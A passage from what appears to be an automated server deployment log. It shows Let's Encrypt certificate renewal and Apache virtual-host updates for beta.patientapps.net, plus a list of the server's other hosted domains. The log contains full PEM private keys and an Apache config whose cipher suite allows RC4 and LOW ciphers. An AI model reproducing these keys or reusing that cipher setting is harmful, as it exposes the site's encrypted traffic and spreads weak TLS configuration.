BtvBBBl7b1CvV5bf+gFlllndXXNsaRXKsW1Z1sX0fkbcP8BOUkEGTqmv7hweA5vt
lfUuhd0cGQpJ44g6nxsXoqVuY4XL9q1pKCprOMkEUZzm5cOsNI42PrFIloit+62T
Vmj+XixHJwKBgC8ZUtH1SciKbLgXs2C3T79yQpwYeuwZppwiOgkRm6PYYZAdWsmX
wJyiFX4119hTc/Kf1W6tuBKKhxJlksQhg2y580Cp/pqffoZt9mgJyVZqZC0Xlzgt
K+7mISmdAbXiRt7FAIOrs5jSjtUkefYTmc3z7zyEHObzqeD4jLJhh0IZAoGBAIAP
Q9+6lcz4jOXUX0atfHp81teuEKw1HooB/iQcJrWvUmMfeswruT61vYSDIs8mttV0
dG7TuCMTgYRza23MoIIJ4Gd9F6Rb3lx1USP1RMq7kLjRfeXpHnMfSwRVh96NvOSS
hYBYvEGhepXuCj9OGcAIU0Kx0KdYzGm/8GN5tNU1AoGBAKR1KE/PlrGtt7E3DfhK
xV64cD5OOeHC8BdcdxBjFFo4lRLijoxWX0D07nLp+IlpTGpCXqcEbLG7qn6neOcj
vaPavpvXsHBcWDNahjwoy48W7CRMxgAIJDY/bqNmwcoYpQaOR6h2071+7l98qlEq
M+CnWcNGSQm742DhNlacB4N/
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-09-24 06:00:02: Establishing a connection
2025-09-24 06:00:02: Establishing a connection
2025-09-24 06:00:03:
PUT: /tmp/pkp767695
#!/bin/bash
if [ -d "/var/www/patientapps_beta/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-24 06:00:05:
chmod 755 /tmp/pkp767695; /tmp/pkp767695; rm /tmp/pkp767695
2025-09-24 06:00:05:
1
2025-09-24 06:00:06: Establishing a connection
2025-09-24 06:00:06:
PUT: /tmp/pkp351087
#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
cat > 1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY
2025-09-24 06:00:06:
chmod 755 /tmp/pkp351087; /tmp/pkp351087; rm /tmp/pkp351087
2025-09-24 06:00:06:
2025-09-24 06:00:11: Establishing a connection
2025-09-24 06:00:11:
PUT: /tmp/pkp849706
#!/bin/bash
mkdir -p "/var/www/patientapps_beta/.well-known/acme-challenge/"
cd "/var/www/patientapps_beta/.well-known/acme-challenge/"
rm 1ngv4r_R3XzLP7C0z7Gh7TQp6s1bLVkMp7RJ4sI5MSY
2025-09-24 06:00:11:
chmod 755 /tmp/pkp849706; /tmp/pkp849706; rm /tmp/pkp849706
2025-09-24 06:00:11:
2025-09-24 06:00:11: Establishing a connection
2025-09-24 06:00:12:
PUT: /tmp/pkp660079
#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8
cat > $temp_file <<'endmsg'
77:da:7c:94:63:80:a0:72:a6:36:a5:85:52:fd:b5:52
-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBTr37G35gidfi9Z23/uNiibaMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI0MDUwMTQwWhcNMjUxMjIzMDUwMTM5WjAfMR0wGwYDVQQD
ExRiZXRhLnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC
AQoCggEBAL/T3goLmxg8+tJURk49c3Z9I6quir5deJ4cL+ctVMWGlFwgHKhtRYcy
bYB6U+RgGIpABhngisbSKtIA9jtU8GIZcMsT0LQxTF4fyUgWzAMXm4ocuh7P1YDn
HovxmiJUgHqTsYi6C54OS2kbOYBS+Nmqg60yov16BqDxBAjI2/kwhgLie3+eDHcW
d7BAonTs3dfEB+/XHQI5ws+3yNdcyIVCK28AB4nUZC/5AgB8fPSNS2G579Vd50y9
3t7OFsXUW1w69en/9wpdK5vmJCCA5jLSR5uVfQsYYOm0cLVg8NmvBx2nJGmNgcBf
Dy+ErYrA4BY0tVdu6WkUfycBC8pnunkCAwEAAaOCAiQwggIgMA4GA1UdDwEB/wQE
AwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw
ADAdBgNVHQ4EFgQUisxLTBYAEl3R1tKjv9glgkTYmJ8wHwYDVR0jBBgwFoAU56uf
DywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdo
dHRwOi8vcjEzLmkubGVuY3Iub3JnLzAfBgNVHREEGDAWghRiZXRhLnBhdGllbnRh
cHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1o
dHRwOi8vcjEzLmMubGVuY3Iub3JnLzkxLmNybDCCAQQGCisGAQQB1nkCBAIEgfUE
gfIA8AB2ABLxTjS9U3JMhAYZw48/ehP457Vih4icbTAFhOvlhiY6AAABmXpO1U0A
AAQDAEcwRQIgIpyz8kmfEOuSe4Q253pmn1B4f+BmGj/iB5awaWdIJNUCIQD1b9fZ
9oF70jtb/bx4hA8c5uhlhMOIshRSPjn+cWRtSAB2ABmG1Mcoqm/+ugNveCpNAZGq
zi1yMQ+uzl1wQS0lTMfUAAABmXpO1XgAAAQDAEcwRQIhAOPiJIQP5o2j4Pn7gmiK
q2BX+iHWLDyAD4aXIfp0/7GZAiAJzE+zvhQXSHKEPx/OsiCwt69gBCTkL60kvBJl
36SMVjANBgkqhkiG9w0BAQsFAAOCAQEAaZFHG1X312M0YALqnnW9LNP+BIUCl0wR
XSOgxrCtBVRXCOXTJsvtLz8n1s/mdWWrb6DuN02EDvUAumCBbk11nzjs/slA8hde
lWAU9EZVMAJi4iRVzo71996TBSsCD4PWA13/u699k8kTSgKl4GkNU+GtV1ViZ/6u
7RPX5Tf48oAsrCgbODHgmRaqq3ZFYlpYk4j4zJDbutE7/YaItoB6HiSvy/YWVlkr
wAY6oytndZPS2xutY+aitCc1LvKUjvfEpj5FhhjLWWsSrlWXlZhz8e0PUQPgR3QZ
Uf2jklS3/6JjDN/se4f9EvNAC6dyz2Bfhdy/Tk+6On7in22Ng7Mlxg==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC/094KC5sYPPrS
VEZOPXN2fSOqroq+XXieHC/nLVTFhpRcIByobUWHMm2AelPkYBiKQAYZ4IrG0irS
APY7VPBiGXDLE9C0MUxeH8lIFswDF5uKHLoez9WA5x6L8ZoiVIB6k7GIugueDktp
GzmAUvjZqoOtMqL9egag8QQIyNv5MIYC4nt/ngx3FnewQKJ07N3XxAfv1x0COcLP
t8jXXMiFQitvAAeJ1GQv+QIAfHz0jUthue/VXedMvd7ezhbF1FtcOvXp//cKXSub
5iQggOYy0keblX0LGGDptHC1YPDZrwcdpyRpjYHAXw8vhK2KwOAWNLVXbulpFH8n
AQvKZ7p5AgMBAAECggEAPlqpJ0zEemmAApSAUfhpqs9co6Oe1+hcR9DTxWqXzqlD
WnrZtennGt5Kd+PLl0WhVHchRJIXqi8w2hiT8Y9XoBuy7WAgjCImN8ZPUE6QvESV
O5zA5zkZpo/5/vVm69fZ935AzDflhNgSrTS7STovR9nEea0nDAv5UaFmdVCNKH+L
ONf0Ik60yASVCBK56Ux+Zwhi60EHrRVC7FGHf2KdCk59yujgZMglkEbzQKgBcq5H
gwUvmJM6bQIMeaqmoDJa84mGkYD+Qxd2sQdmaKyFzEafCCfVoFj0v5ktbIyZla0l
wL7KisgUCFIGGGhHu5HGHEFWJ2QeoeL92LbQRDXYfQKBgQD6iPaINeq2dJ97dU5g
asEBl7/udki3RLwNlDWxr2NpqwOscCtlWeGMra7Ggk08J0trPwug/mzXKPaS9bZq
HipClClMP6RRsqsGBTedB8GP7S/vidSnhdt+mCDwBUFuCx0OW9BaNQ7HTUAf8zx7
jO0OlsjXNErRFNUN9LzAH1peOwKBgQDEAxIRnap0S8bTgiysV7NhcO2Xkw6e3jnx
igvhbcScQsMp3I/VAvx2n0HKP6UB30AL7ySrOteAsF9qPrya/dz8xV8Wa3Qs8T3S
9ARx01Zo/z67DojG586XD52DPSfD3TXRzJBRdma7gJ2HjxNCIdxOZypeo6X/3Lr7
JN8vHYN62wKBgEWULiusFbBweS5XaNn8K/geRe6bKRzE2RlIVRUw6YIaPZ3xVQwD
x1FDlyuIWpzfKOHzE2612lJzDO/Jj8yu7fupnEKR1jfeUAMPBd/1nHs1Wz/CXq3b
zha9d0BRpVdDfOFU/GthGuac/Lci3WROwjNwCv1Bh5nDmFwU4SrWSkmrAoGAMUxg
aAPSkitY12t/Ft175T8E0sGOxNA5nJFOyaTU9UQpV8b8eeOlYaROZLK7KoxezGGa
RGKpPtmdNdiPkR/WS9DMSJRABOmr1fm/gG1Z51CDE4LlTbmRkRbBU/e2n6FsXtbn
WUXBMtl3RVfrzQ89HI7/7guUvZRjhrTQWUZAAk8CgYEAt/s4RCTd6t50I1iG5pyV
IUNzLFGWnKzG1zT1zS8Rvhne8mb46rcD8oXXMjDWu6t5r4FEN60WMdXpMM5MufQc
/cqTkwnKXhCnLAJX1wrgLLIPSJObu9hV8NLGHV/Xbmx0pYZBJKeI1PQbNKmeeEoN
1WM5dWMpEOYELpzun1t9yIg=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-24 06:00:12:
chmod 755 /tmp/pkp660079; /tmp/pkp660079; rm /tmp/pkp660079
2025-09-24 06:00:12:
dir=/etc/ssl/certs
2025-09-24 06:00:12:
PUT: /tmp/pkp242399
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_beta_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-24 06:00:12:
chmod 755 /tmp/pkp242399; /tmp/pkp242399; rm /tmp/pkp242399
2025-09-24 06:00:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 44
<VirtualHost *:80>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-09-24 06:00:12:
PUT: /tmp/pkp664370
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_beta_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_beta_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/beta_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
SetEnv build beta
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php8.2-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_beta_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_beta_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_beta_net.conf= 1'
fi
2025-09-24 06:00:12:
chmod 755 /tmp/pkp664370; /tmp/pkp664370; rm /tmp/pkp664370
2025-09-24 06:00:12:
2025-09-24 06:00:12:
PUT: /tmp/pkp648855
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-24 06:00:12:
chmod 755 /tmp/pkp648855; /tmp/pkp648855; rm /tmp/pkp648855
2025-09-24 06:00:12:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-24 06:00:12: Establishing a connection
2025-09-24 06:00:12:
PUT: /tmp/pkp930178
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-24 06:00:13:
chmod 755 /tmp/pkp930178; /tmp/pkp930178; rm /tmp/pkp930178
2025-09-24 06:00:13:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-24 06:00:13:
PUT: /tmp/pkp652691
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_beta_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-09-24 06:00:13:
chmod 755 /tmp/pkp652691; /tmp/pkp652691; rm /tmp/pkp652691
2025-09-24 06:00:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_beta_net.conf 1621
<VirtualHost *:80>
ServerName beta.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_beta
<Directory /var/www/patientapps_beta>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/beta_access.log combined
